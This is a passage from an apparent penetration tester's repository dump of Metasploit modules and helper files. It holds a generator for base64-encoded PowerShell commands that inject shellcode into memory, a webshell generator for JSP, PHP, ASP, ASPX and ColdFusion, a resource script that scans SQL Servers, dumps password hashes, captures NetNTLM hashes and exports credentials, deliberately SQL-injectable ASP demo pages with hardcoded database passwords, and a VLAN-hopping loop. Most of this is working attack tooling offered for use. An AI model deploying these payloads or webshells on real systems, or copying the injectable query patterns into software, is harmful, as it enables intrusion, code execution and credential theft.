SERVER TO AUTHENTICATE 71 | ## -------------------------------------------- 72 | def force_auth(sprocedure,smbproxy,vic,vicport) 73 | 74 | print_status("Forcing SQL Server at #{vic} to auth to #{smbproxy} via #{sprocedure}...") 75 | 76 | ## GENERATE RANDOM FILE NAME 77 | rand_filename = Rex::Text.rand_text_alpha(8, bad='') 78 | 79 | ## SETUP QUERY 80 | sql = "#{sprocedure} '\\\\#{smbproxy}\\#{rand_filename}'" 81 | 82 | ## EXECUTE QUERY 83 | begin 84 | result = mssql_query(sql, false) if mssql_login_datastore 85 | column_data = result[:rows] 86 | print_good("Successfully executed #{sprocedure} on #{rhost}") 87 | return 1 88 | rescue 89 | print_error("Failed to connect to #{rhost} on port #{rport}") 90 | return 0 91 | end 92 | end 93 | 94 | end 95 | -------------------------------------------------------------------------------- /powershell_payload_gen.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | 3 | class Metasploit3 < Msf::Exploit::Remote 4 | Rank = GreatRanking 5 | include Msf::Auxiliary::Report 6 | 7 | def initialize(info = {}) 8 | super(update_info(info, 9 | 'Name' => 'Encoded PowerShell Payload Generator', 10 | 'Description' => %q{This module will generate a text file that contains a 11 | base64 encoded PowerShell command that will execute the 12 | specified Metasploit payload.}, 13 | 'Author' => 14 | [ 15 | 'Scott Sutherland "nullbind" ', 16 | ], 17 | 'Platform' => [ 'win' ], 18 | 'License' => MSF_LICENSE, 19 | 'References' => [['URL','http://www.exploit-monday.com/2011_10_16_archive.html']], 20 | 'Platform' => 'win', 21 | 'DisclosureDate' => 'Oct 10 2011', 22 | 'Targets' => 23 | [ 24 | [ 'Automatic', { } ], 25 | ], 26 | 'DefaultTarget' => 0 27 | )) 28 | 29 | register_options( 30 | [ 31 | OptString.new('TARGET_ARCH', [true, '64,32', '64']), 32 | OptString.new('OUT_DIR', [true, 'output directory', '/']), 33 | ], self.class) 34 | end 35 | 36 | def exploit 37 | 38 | # Display status to users 39 | print_status("Generating encoded PowerShell payload...") 40 | 41 | # Generate powershell command 42 | ps_cmd = gen_ps_cmd 43 | 44 | # Define pseudo unique value for file name 45 | rand_val = rand_text_alpha(8) 46 | 47 | # Define file path 48 | thefilepath = datastore['OUT_DIR'] + "pscmd_" + rand_val + ".txt" 49 | 50 | # Output file to specified location 51 | File.open(thefilepath, 'wb') { |file| file.write(ps_cmd)} 52 | 53 | # Get file size 54 | output_file_size = File.size(thefilepath) 55 | 56 | # Display status to users 57 | print_good("#{output_file_size} bytes where written to #{thefilepath}") 58 | print_status("Module execution complete\n") 59 | 60 | end 61 | 62 | # ------------------------------ 63 | # Generate powershell payload 64 | # ------------------------------ 65 | def gen_ps_cmd() 66 | # Create powershell script that will inject shell code from the selected payload 67 | myscript ="$code = @\" 68 | [DllImport(\"kernel32.dll\")] 69 | public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 70 | [DllImport(\"kernel32.dll\")] 71 | public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 72 | [DllImport(\"msvcrt.dll\")] 73 | public static extern IntPtr memset(IntPtr dest, uint src, uint count); 74 | \"@ 75 | $winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru 76 | [Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')} 77 | $size = 0x1000 78 | if ($sc.Length -gt 0x1000) {$size = $sc.Length} 79 | $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40) 80 | for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)} 81 | $winFunc::CreateThread(0,0,$x,0,0,0)" 82 | 83 | # Unicode encode the powershell script 84 | mytext_uni = Rex::Text.to_unicode(myscript) 85 | 86 | # Base64 encode the unicode encoded script 87 | mytext_64 = Rex::Text.encode_base64(mytext_uni) 88 | 89 | # Setup path for powershell based on architecture 90 | if datastore['TARGET_ARCH'] == "32" then 91 | mypath = "" 92 | else 93 | mypath="C:\\windows\\syswow64\\WindowsPowerShell\\v1.0\\" 94 | end 95 | 96 | # Create powershell command to be executed 97 | ps_cmd = "#{mypath}powershell.exe -noexit -noprofile -encodedCommand #{mytext_64}" 98 | 99 | return ps_cmd 100 | end 101 | 102 | end 103 | -------------------------------------------------------------------------------- /ps_webshells.rb: -------------------------------------------------------------------------------- 1 | require 'msf/core' 2 | 3 | class Metasploit3 < Msf::Exploit::Remote 4 | Rank = GreatRanking 5 | 6 | include Msf::Auxiliary::Report 7 | 8 | def initialize(info = {}) 9 | super(update_info(info, 10 | 'Name' => 'ps_webshells', 11 | 'Description' => %q{This module will generate a webshell in the language defined by 12 | the "WEB_LANG" option that passes a base64 encoded PowerShell 13 | command to the Windows operating system that will execute 14 | the defined MSF payload. 15 | This can be a handy way to deliver Metasploit payloads when you 16 | have the ability to upload arbitrary files to a web server. The 17 | txt extension can also be defined in order to write the raw 18 | PowerShell command to a file for manual execution.}, 19 | 'Author' => 20 | [ 21 | 'Scott Sutherland "nullbind" ', 22 | 'Ryan Gandrud "siegemaster" ' 23 | ], 24 | 'Platform' => [ 'win' ], 25 | 'License' => MSF_LICENSE, 26 | 'References' => [['URL','http://www.exploit-monday.com/2011_10_16_archive.html']], 27 | 'Platform' => 'win', 28 | 'DisclosureDate' => 'Oct 10 2011', 29 | 'Targets' => 30 | [ 31 | [ 'Automatic', { } ], 32 | ], 33 | 'DefaultTarget' => 0 34 | )) 35 | 36 | register_options( 37 | [ 38 | OptString.new('WEB_LANG', [true, 'TXT,JSP,PHP,ASP,ASPX,CFM', 'JSP']), 39 | OptString.new('TARGET_ARCH', [true, '64,32', '64']), 40 | OptString.new('OUT_DIR', [true, 'output directory', 'c:\\windows\\temp\\']), 41 | ], self.class) 42 | end 43 | 44 | def exploit 45 | 46 | # Validate architecture variable 47 | if datastore['TARGET_ARCH'] != "64" and datastore['TARGET_ARCH'] != "32" then 48 | print_error("Aborted! TARGET_ARCH \"#{datastore['TARGET_ARCH']}\" is invalid.\n") 49 | return 50 | end 51 | 52 | # Randomly set number of chars in file name 53 | the_name_len = 3 + rand(10) 54 | 55 | # Randomly set file name 56 | the_file_name = rand_text_alpha(the_name_len) 57 | 58 | # Display start to users 59 | print_status("Writing file for msf payload delivery to #{datastore['OUT_DIR']}#{the_file_name}.#{datastore['WEB_LANG']}...") 60 | 61 | # Generate powershell command 62 | ps_cmd = gen_ps_cmd 63 | 64 | # Generate web shell in specified language 65 | case datastore['WEB_LANG'].upcase 66 | when 'JSP' 67 | output = gen_JSP(ps_cmd) 68 | ext = "jsp" 69 | when 'PHP' 70 | output = gen_PHP(ps_cmd) 71 | ext = "php" 72 | when 'ASP' 73 | output = gen_ASP(ps_cmd) 74 | ext = "asp" 75 | when 'ASPX' 76 | output = gen_ASPX(ps_cmd) 77 | ext = "aspx" 78 | when 'CFM' 79 | output = gen_CFM(ps_cmd) 80 | ext = "cfm" 81 | when 'TXT' 82 | output = ps_cmd 83 | ext = "txt" 84 | else 85 | print_error("Aborted! Output file type is not supported.\n") 86 | return 87 | end 88 | 89 | # Output file to specified location 90 | File.open(datastore['OUT_DIR'] + "#{the_file_name}.#{ext}", 'wb') { |file| file.write(output)} 91 | 92 | # Get file size 93 | web_shell_size = File.size(datastore['OUT_DIR'] + "#{the_file_name}.#{ext}") 94 | 95 | # Display end to users 96 | print_good("#{web_shell_size} byte file written.\n") 97 | print_status("Module execution complete.\n") 98 | 99 | end 100 | 101 | 102 | # ------------------------------ 103 | # Generate powershell payload 104 | # ------------------------------ 105 | def gen_ps_cmd() 106 | 107 | # Create powershell script that will inject shell code from the selected payload 108 | myscript ="$code = @\" 109 | [DllImport(\"kernel32.dll\")] 110 | public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect); 111 | [DllImport(\"kernel32.dll\")] 112 | public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId); 113 | [DllImport(\"msvcrt.dll\")] 114 | public static extern IntPtr memset(IntPtr dest, uint src, uint count); 115 | \"@ 116 | $winFunc = Add-Type -memberDefinition $code -Name \"Win32\" -namespace Win32Functions -passthru 117 | [Byte[]]$sc =#{Rex::Text.to_hex(payload.encoded).gsub('\\',',0').sub(',','')} 118 | $size = 0x1000 119 | if ($sc.Length -gt 0x1000) {$size = $sc.Length} 120 | $x=$winFunc::VirtualAlloc(0,0x1000,$size,0x40) 121 | for ($i=0;$i -le ($sc.Length-1);$i++) {$winFunc::memset([IntPtr]($x.ToInt32()+$i), $sc[$i], 1)} 122 | $winFunc::CreateThread(0,0,$x,0,0,0)" 123 | 124 | # Unicode encode powershell script 125 | mytext_uni = Rex::Text.to_unicode(myscript) 126 | 127 | # Base64 encode unicoded script 128 | mytext_64 = Rex::Text.encode_base64(mytext_uni) 129 | 130 | # Setup path for powershell based on arch 131 | if datastore['TARGET_ARCH'] == "32" then 132 | mypath = "" 133 | else 134 | 135 | # Adjust slashes for txt vs web language output 136 | if datastore['WEB_LANG'] == "txt" then 137 | slashery = "\\" 138 | else 139 | slashery = "\\\\" 140 | end 141 | mypath="C:#{slashery}windows#{slashery}syswow64#{slashery}WindowsPowerShell#{slashery}v1.0#{slashery}" 142 | end 143 | 144 | # Create powershell command to be executed 145 | ps_cmd = "#{mypath}powershell.exe -noexit -noprofile -encodedCommand #{mytext_64}" 146 | 147 | return ps_cmd 148 | end 149 | 150 | 151 | # ------------------------------ 152 | # Generate jsp web shell 153 | # ------------------------------ 154 | def gen_JSP(ps_cmd) 155 | 156 | # Randomly set the var len 157 | the_var_len = 3 + rand(10) 158 | 159 | # Randomly set variable name 160 | jsp_var_name = rand_text_alpha(the_var_len) 161 | 162 | # Generate JSP script 163 | script = "<% 164 | Process #{jsp_var_name} = Runtime.getRuntime().exec(\"cmd.exe /c \" + \"#{ps_cmd}\"); 165 | %>" 166 | end 167 | 168 | 169 | # ------------------------------ 170 | # Generate php web shell 171 | # ------------------------------ 172 | def gen_PHP(ps_cmd) 173 | 174 | # Generate PHP script 175 | script = "nul\'); 177 | ?>" 178 | end 179 | 180 | 181 | # ------------------------------ 182 | # Generate asp web shell 183 | # ------------------------------ 184 | def gen_ASP(ps_cmd) 185 | 186 | # Randomly set the var len 187 | the_var_len = 3 + rand(10) 188 | 189 | # Randomly set variable name 190 | asp_var_name = rand_text_alpha(the_var_len) 191 | 192 | # Generate ASP script 193 | script = "<% 194 | set #{asp_var_name} = CreateObject(\"WScript.Shell\") 195 | #{asp_var_name}.run \"cmd.exe /c #{ps_cmd}\" 196 | %>" 197 | end 198 | 199 | 200 | # ------------------------------ 201 | # Generate aspx web shell 202 | # ------------------------------ 203 | def gen_ASPX(ps_cmd) 204 | 205 | # Randomly set variable name 1 206 | the_var_len = 3 + rand(10) 207 | aspx_var_name1 = rand_text_alpha(the_var_len) 208 | 209 | # Randomly set variable name 2 210 | the_var_len = 3 + rand(10) 211 | aspx_var_name2 = rand_text_alpha(the_var_len) 212 | 213 | # Randomly set variable name 3 214 | the_var_len = 3 + rand(10) 215 | aspx_var_name3 = rand_text_alpha(the_var_len) 216 | 217 | # Generate ASPX script 218 | script = "<%@ Page Language=\"VB\" Debug=\"true\" %> 219 | <%@ import Namespace=\"system.IO\" %> 220 | <%@ import Namespace=\"System.Diagnostics\" %> 221 | 222 | 233 | 234 | 235 | " 236 | end 237 | 238 | 239 | # ------------------------------ 240 | # Generate cfm web shell 241 | # ------------------------------ 242 | def gen_CFM(ps_cmd) 243 | 244 | # Randomly set variable name 1 245 | the_var_len = 3 + rand(10) 246 | cfm_var_name1 = rand_text_alpha(the_var_len) 247 | 248 | # Randomly set variable name 2 249 | the_var_len = 3 + rand(10) 250 | cfm_var_name2 = rand_text_alpha(the_var_len) 251 | 252 | # Randomly set variable name 3 253 | the_var_len = 3 + rand(10) 254 | cfm_var_name3 = rand_text_alpha(the_var_len) 255 | 256 | # Generate cfm script 257 | script = " 258 | 259 | 260 | 261 | 262 | 263 | 264 | 265 | 266 |
Timeout:< input type=text name=\"timeout\" size=4 value=\"#form.timeout#\" value=\"5\" >
267 | 268 | 269 | 270 | 271 | 272 | 273 | 274 |
275 | ##{cfm_var_name1}#
276 | 
277 |
278 | 279 | " 280 | end 281 | 282 | end 283 | -------------------------------------------------------------------------------- /readme.txt: -------------------------------------------------------------------------------- 1 | This is just a dumping ground for metasploit modules that I've worked on or am working on. Some have been submitted to Rapid7 and some have not. -------------------------------------------------------------------------------- /search.asp: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 10 | 11 | 12 | 15 | 16 |
7 | MBA
8 | My Bad Application 9 |
13 | Employee Search 14 |
17 |





18 | 19 | 20 |


21 |

Employee Search

22 |
23 | 24 | 25 |
26 | <% 27 | 28 | 'Sample Database Connection Syntax for ASP and SQL Server. 29 | Dim oConn, oRs 30 | Dim qry, connectstr 31 | Dim db_name, db_username, db_userpassword 32 | Dim db_server 33 | Dim my_search 34 | 35 | ' update the db_server with your server and instance 36 | db_server = "mybox\server1" 37 | db_name = "AdventureWorks2008" 38 | db_username = "s1user" 39 | db_password = "s1password" 40 | 41 | 'setup database handler 42 | Set oConn = Server.CreateObject("ADODB.Connection") 43 | oConn.Open("Driver={SQL Server};Server=" & db_server & ";Database=" & db_name &";UID=" & db_username & ";PWD=" & db_password & ";Trusted_Connection=NO;") 44 | 45 | 'setup query 46 | qry = "SELECT LoginID,BusinessEntityID FROM HumanResources.Employee WHERE LoginID LIKE '%" & Request("search") & "%'" 47 | 48 | 'execute query 49 | Set oRS = oConn.Execute(qry) 50 | 51 | 'output status to user 52 | Response.Write "Search Results for: " & Request("search") & "
" 53 | 54 | 'loop through and print results 55 | Do until oRs.EOF 56 | Response.Write "" & oRs.Fields("LoginID") & "
" 57 | oRS.MoveNext 58 | Loop 59 | oRs.Close 60 | 61 | 62 | Set oRs = nothing 63 | Set oConn = nothing 64 | 65 | %> 66 | 67 | 68 | -------------------------------------------------------------------------------- /sql.rc: -------------------------------------------------------------------------------- 1 | #--------------------------------- 2 | # Start logging 3 | #--------------------------------- 4 | spool /tmp/msf-sql.log 5 | 6 | 7 | #--------------------------------- 8 | # Setup global vars - UPDATE THIS 9 | #--------------------------------- 10 | setg USERNAME User1 11 | setg PASSWORD Password1 12 | setg DOMAIN acme.com 13 | setg USE_WINDOWS_AUTHENT true 14 | setg SMBPROXY 10.0.0.230 15 | 16 | 17 | #--------------------------------- 18 | # Identify live SQL Servers - UPDATE THIS 19 | #--------------------------------- 20 | use auxiliary/scanner/mssql/mssql_ping 21 | set rhosts file:///pentest/sql.txt 22 | set threads 50 23 | exploit 24 | 25 | 26 | #--------------------------------- 27 | # Test access with domain creds 28 | #--------------------------------- 29 | use auxiliary/scanner/mssql/mssql_login 30 | set VERBOSE false 31 | set THREADS 50 32 | 33 | 34 | framework.db.hosts.each do |host| 35 | host.services.each do |service| 36 | if service.name == "mssql" and service.state == "open" 37 | self.run_single("set RHOSTS #{host.address}") 38 | self.run_single("set RPORT #{service.port}") 39 | self.run_single("run") 40 | end 41 | end 42 | end 43 | 44 | 45 | 46 | #--------------------------------- 47 | # Test for sysadmin access 48 | #--------------------------------- 49 | use auxiliary/admin/mssql/mssql_sql 50 | set VERBOSE false 51 | set THREADS 50 52 | set sql select \'server: \' + @@servername + \',sysadmin: \' + cast(IS_SRVROLEMEMBER(\'sysadmin\') as varchar(10)) + \',links: \' + (select cast((select count(srvname) from master..sysservers) as varchar(10))) + \',clustered: \' + (select cast(SERVERPROPERTY(\'IsClustered\') as varchar(10))) as OUTPUT 53 | 54 | 55 | framework.db.hosts.each do |host| 56 | host.services.each do |service| 57 | if service.name == "mssql" and service.state == "open" 58 | self.run_single("set RHOST #{host.address}") 59 | self.run_single("set RPORT #{service.port}") 60 | self.run_single("run") 61 | end 62 | end 63 | end 64 | 65 | 66 | 67 | #--------------------------------- 68 | # List accessible databases 69 | #--------------------------------- 70 | use auxiliary/admin/mssql/mssql_sql 71 | set VERBOSE false 72 | set THREADS 50 73 | set sql select name from master..sysdatabases where has_dbaccess(name)=1 74 | 75 | 76 | framework.db.hosts.each do |host| 77 | host.services.each do |service| 78 | if service.name == "mssql" and service.state == "open" 79 | self.run_single("set RHOST #{host.address}") 80 | self.run_single("set RPORT #{service.port}") 81 | self.run_single("run") 82 | end 83 | end 84 | end 85 | 86 | 87 | 88 | #--------------------------------- 89 | # Dump accessible config info 90 | #--------------------------------- 91 | use auxiliary/admin/mssql/mssql_enum 92 | set VERBOSE false 93 | 94 | 95 | framework.db.hosts.each do |host| 96 | host.services.each do |service| 97 | if service.name == "mssql" and service.state == "open" 98 | self.run_single("set RHOST #{host.address}") 99 | self.run_single("set RPORT #{service.port}") 100 | self.run_single("run") 101 | end 102 | end 103 | end 104 | 105 | 106 | 107 | #--------------------------------- 108 | # Dump password hashes if possible 109 | #--------------------------------- 110 | use auxiliary/scanner/mssql/mssql_hashdump 111 | set VERBOSE false 112 | set THREADS 1 113 | 114 | 115 | framework.db.hosts.each do |host| 116 | host.services.each do |service| 117 | if service.name == "mssql" and service.state == "open" 118 | self.run_single("set RHOSTS #{host.address}") 119 | self.run_single("set RPORT #{service.port}") 120 | self.run_single("run") 121 | end 122 | end 123 | end 124 | 125 | 126 | #--------------------------------- 127 | # Dump all of the SQL logins 128 | #--------------------------------- 129 | use auxiliary/admin/mssql/mssql_enum_sql_logins 130 | set FuzzNum 500 131 | set VERBOSE false 132 | 133 | 134 | framework.db.hosts.each do |host| 135 | host.services.each do |service| 136 | if service.name == "mssql" and service.state == "open" 137 | self.run_single("set RHOST #{host.address}") 138 | self.run_single("set RPORT #{service.port}") 139 | self.run_single("run") 140 | end 141 | end 142 | end 143 | 144 | 145 | 146 | #--------------------------------- 147 | # Dump sample of senstitve data 148 | #--------------------------------- 149 | use auxiliary/admin/mssql/mssql_findandsampledata 150 | set SAMPLE_SIZE 5 151 | set VERBOSE true 152 | 153 | 154 | framework.db.hosts.each do |host| 155 | host.services.each do |service| 156 | if service.name == "mssql" and service.state == "open" 157 | self.run_single("set RHOSTS #{host.address}") 158 | self.run_single("set RPORT #{service.port}") 159 | self.run_single("run") 160 | end 161 | end 162 | end 163 | 164 | 165 | 166 | #---------------------------------------- 167 | # Capture service account NetNTLM hashes 168 | #---------------------------------------- 169 | use auxiliary/admin/mssql/mssql_ntlm_stealer 170 | set VERBOSE false 171 | set THREADS 50 172 | 173 | 174 | framework.db.hosts.each do |host| 175 | host.services.each do |service| 176 | if service.name == "mssql" and service.state == "open" 177 | self.run_single("set RHOSTS #{host.address}") 178 | self.run_single("set RPORT #{service.port}") 179 | self.run_single("run") 180 | end 181 | end 182 | end 183 | 184 | 185 | 186 | #---------------------------------------- 187 | # Export list 188 | #---------------------------------------- 189 | creds -o /tmp/msf-creds.csv 190 | -------------------------------------------------------------------------------- /testing.asp: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 10 | 11 |
7 | SSL v.3
8 | Super Spy Lookup Version 3 9 |
12 | 13 |





14 | 16 | 63 | 64 |
17 |

NOC List Search Results

18 | <% 19 | 20 | 'Sample Database Connection Syntax for ASP and SQL Server. 21 | 22 | Dim oConn, oRs 23 | Dim qry, connectstr 24 | Dim db_name, db_username, db_userpassword 25 | Dim db_server 26 | Dim my_search 27 | 28 | id = Request("id") 29 | db_server = "LVA" 30 | db_name = "MyAppDB" 31 | db_username = "MyAppuser" 32 | db_userpassword = "MyPassword!" 33 | fieldname = "ID" 34 | tablename = "noclist" 35 | 36 | connectstr = "Driver={SQL Server};SERVER=" & db_server & ";DATABASE=" & db_name & ";UID=" & db_username & ";PWD=" & db_userpassword 37 | 38 | Set oConn = Server.CreateObject("ADODB.Connection") 39 | oConn.Open connectstr 40 | 41 | 'standard search query 42 | qry = "SELECT * FROM " & tablename & " WHERE ID = " & Request("id") 43 | 'qry = "SELECT * FROM " & tablename 44 | 45 | Set oRS = oConn.Execute(qry) 46 | 47 | Do until oRs.EOF 48 | 49 | Response.Write "ID: " & oRs.Fields("id") & "
" 50 | Response.Write "Title: " & oRs.Fields("spyname") & "
" 51 | Response.Write "User: " & oRs.Fields("realname") & "

" 52 | 53 | oRS.MoveNext 54 | Loop 55 | oRs.Close 56 | 57 | 58 | Set oRs = nothing 59 | Set oConn = nothing 60 | 61 | %> 62 |
65 | 66 | 67 | -------------------------------------------------------------------------------- /testing2.asp: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 10 | 11 |
7 | SSL v.3
8 | Super Spy Lookup Version 3 9 |
12 | 13 |





14 | 16 | 63 | 64 |
17 |

NOC List Search Results

18 | <% 19 | 20 | 'Sample Database Connection Syntax for ASP and SQL Server. 21 | 22 | Dim oConn, oRs 23 | Dim qry, connectstr 24 | Dim db_name, db_username, db_userpassword 25 | Dim db_server 26 | Dim my_search 27 | 28 | id = Request("id") 29 | db_server = "LVA" 30 | db_name = "MyAppDB" 31 | db_username = "MyPublicUser" 32 | db_userpassword = "MyPassword!" 33 | fieldname = "ID" 34 | tablename = "noclist" 35 | 36 | connectstr = "Driver={SQL Server};SERVER=" & db_server & ";DATABASE=" & db_name & ";UID=" & db_username & ";PWD=" & db_userpassword 37 | 38 | Set oConn = Server.CreateObject("ADODB.Connection") 39 | oConn.Open connectstr 40 | 41 | 'standard search query 42 | qry = "SELECT * FROM " & tablename & " WHERE ID = " & Request("id") 43 | 'qry = "SELECT * FROM " & tablename 44 | 45 | Set oRS = oConn.Execute(qry) 46 | 47 | Do until oRs.EOF 48 | 49 | Response.Write "ID: " & oRs.Fields("id") & "
" 50 | Response.Write "Title: " & oRs.Fields("spyname") & "
" 51 | Response.Write "User: " & oRs.Fields("realname") & "

" 52 | 53 | oRS.MoveNext 54 | Loop 55 | oRs.Close 56 | 57 | 58 | Set oRs = nothing 59 | Set oConn = nothing 60 | 61 | %> 62 |
65 | 66 | 67 | -------------------------------------------------------------------------------- /vlan-hop-dhcp.sh: -------------------------------------------------------------------------------- 1 | # Super crappy VLAN hopper bf 2 | # Note: Manually change timeout to 2 in /etc/dhcp/dhclient.conf 3 | modprobe 8021q 4 | for i in {1..600} 5 | do 6 | echo "Adding interface $i..." 7 | vconfig add eth0 $i 8 | `ifconfig eth0.$i up` 9 | 10 | echo "Attempting DHCP for VLAN $i..." 11 | `dhclient eth0.$i` 12 | done 13 | --------------------------------------------------------------------------------